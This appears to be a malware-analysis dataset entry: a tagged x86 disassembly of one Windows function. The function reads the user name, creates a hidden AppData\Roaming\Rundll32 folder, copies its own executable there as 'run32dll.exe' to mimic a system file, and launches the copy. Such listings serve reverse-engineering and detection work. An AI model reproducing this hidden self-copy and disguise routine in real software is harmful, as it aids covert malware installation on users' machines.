Function at 0x402160
Capabilities:
Copy file
Create directory
Create process on windows
Get session user name
Set file attributes

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x2a8
push esi
push edi
push 0x104
lea eax, [ebp - 0x2a0]
push 0
push eax
call fcn.00405030
add esp, 0xc
mov dword [ebp - 0x74], 0x101
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x198]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea ecx, [ebp - 0x198]
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x20], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x1c], 0
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4021d0
sub ecx, edx
lea eax, [ebp - 0x198]
push ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00401a90
push 9
push str.C:Users_
push ecx
lea ecx, [ebp - 0x30]
call fcn.00401b70
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0
movups xmm0, xmmword [eax]
push 0x19
push str.AppDataRoamingRundll32
movups xmmword [ebp - 0x50], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x40], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov ecx, dword [ebp - 0x3c]
mov eax, ecx
mov edi, dword [ebp - 0x40]
sub eax, edi
cmp eax, 0x19
jb 0x40226c
cmp ecx, 0x10
lea esi, [ebp - 0x50]
lea eax, [edi + 0x19]
cmovae esi, dword [ebp - 0x50]
mov dword [ebp - 0x40], eax
lea eax, [esi + edi]
push eax
call fcn.00404900
add esp, 0xc
mov byte [esi + edi + 0x19], 0
lea eax, [ebp - 0x50]
jmp 0x40227d
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x50]
push dword [ebp - 4]
push 0x19
call fcn.00402a70
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x5c], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x70], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x60], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov ecx, dword [ebp - 0x3c]
cmp ecx, 0x10
jb 0x4022e8
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4022de
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402675
push ecx
push edx
call fcn.00403658
add esp, 8
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0xf
mov byte [ebp - 0x50], 0
cmp ecx, 0x10
jb 0x40232e
mov edx, dword [ebp - 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x402324
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402675
push ecx
push edx
call fcn.00403658
add esp, 8
cmp dword [ebp - 0x5c], 0x10
mov eax, 0xc
movq xmm0, qword [str.run32dll.exe]
mov dword [ebp - 0x40], eax
mov eax, dword [0x41a6b4]
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x70]
cmovae eax, dword [ebp - 0x70]
push 0
push eax
mov dword [ebp - 0x3c], 0xf
movq qword [ebp - 0x50], xmm0
mov byte [ebp - 0x44], 0
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
cmp dword [ebp - 0x5c], 0x10
lea eax, [ebp - 0x70]
push 2
cmovae eax, dword [ebp - 0x70]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x104
lea eax, [ebp - 0x2a0]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x41a6bc
lea edx, [ebp - 0x70]
lea ecx, [ebp - 0x8c]
call fcn.004028a0
mov edi, eax
add esp, 4
mov edx, dword [edi + 0x14]
mov eax, edx
mov ecx, dword [edi + 0x10]
sub eax, ecx
cmp eax, 0xc
jb 0x4023e0
lea eax, [ecx + 0xc]
mov dword [edi + 0x10], eax
mov eax, edi
cmp edx, 0x10
jb 0x4023c8
mov eax, dword [edi]
lea esi, [eax + ecx]
push 0xc
lea eax, [ebp - 0x50]
push eax
push esi
call fcn.00404900
add esp, 0xc
mov byte [esi + 0xc], 0
jmp 0x4023f8
push 0xc
lea eax, [ebp - 0x50]
mov byte [ebp - 4], 0
push eax
push dword [ebp - 4]
mov ecx, edi
push 0xc
call fcn.00402a70
mov edi, eax
mov dword [ebp - 0x30], 0
lea eax, [ebp - 0x30]
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
movups xmm0, xmmword [edi]
push 1
movups xmmword [ebp - 0x30], xmm0
movq xmm0, qword [edi + 0x10]
movq qword [ebp - 0x20], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
cmp dword [ebp - 0x1c], 0x10
cmovae eax, dword [ebp - 0x30]
push eax
lea eax, [ebp - 0x2a0]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ecx, dword [ebp - 0x1c]
cmp ecx, 0x10
jb 0x40247e
mov edx, dword [ebp - 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x402474
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40267a
push ecx
push edx
call fcn.00403658
add esp, 8
mov ecx, dword [ebp - 0x78]
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0xf
mov byte [ebp - 0x30], 0
cmp ecx, 0x10
jb 0x4024c7
mov edx, dword [ebp - 0x8c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4024bd
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40267a
push ecx
push edx
call fcn.00403658
add esp, 8
push 0x41a6bc
lea edx, [ebp - 0x70]
lea ecx, [ebp - 0x8c]
call fcn.004028a0
mov ecx, dword [ebp - 0x40]
lea edx, [ebp - 0x50]
mov edi, eax
add esp, 4
cmp dword [ebp - 0x3c], 0x10
cmovae edx, dword [ebp - 0x50]
mov eax, dword [edi + 0x14]
mov esi, dword [edi + 0x10]
sub eax, esi
cmp ecx, eax
ja 0x40251f
cmp dword [edi + 0x14], 0x10
lea eax, [ecx + esi]
mov dword [edi + 0x10], eax
mov eax, edi
jb 0x402509
mov eax, dword [edi]
push ecx
add esi, eax
push edx
push esi
call fcn.00404900
mov eax, dword [ebp - 0x40]
add esp, 0xc
mov byte [eax + esi], 0
jmp 0x402532
push ecx
push edx
mov byte [ebp - 4], 0
push dword [ebp - 4]
push ecx
mov ecx, edi
call fcn.00402a70
mov edi, eax
mov esi, dword [ebp - 0x50]
lea eax, [ebp - 0x30]
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
movups xmm0, xmmword [edi]
push 0
push 0
movups xmmword [ebp - 0x30], xmm0
push 0x41a41f
movq xmm0, qword [edi + 0x10]
movq qword [ebp - 0x20], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
cmp dword [ebp - 0x1c], 0x10
cmovae eax, dword [ebp - 0x30]
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, dword [ebp - 0x1c]
cmp ecx, 0x10
jb 0x4025bf
mov edx, dword [ebp - 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4025b5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40267f
push ecx
push edx
call fcn.00403658
add esp, 8
mov ecx, dword [ebp - 0x78]
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0xf
mov byte [ebp - 0x30], 0
cmp ecx, 0x10
jb 0x402608
mov edx, dword [ebp - 0x8c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4025fe
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40267f
push ecx
push edx
call fcn.00403658
add esp, 8
call fcn.00402e60
mov eax, dword [ebp - 0x3c]
cmp eax, 0x10
jb 0x40263c
lea ecx, [eax + 1]
mov eax, esi
cmp ecx, 0x1000
jb 0x402632
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402684
push ecx
push esi
call fcn.00403658
add esp, 8
mov ecx, dword [ebp - 0x5c]
cmp ecx, 0x10
jb 0x40266c
mov edx, dword [ebp - 0x70]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x402662
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402684
push ecx
push edx
call fcn.00403658
add esp, 8
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.004068c8
call fcn.004068c8
call fcn.004068c8
call fcn.004068c8
int3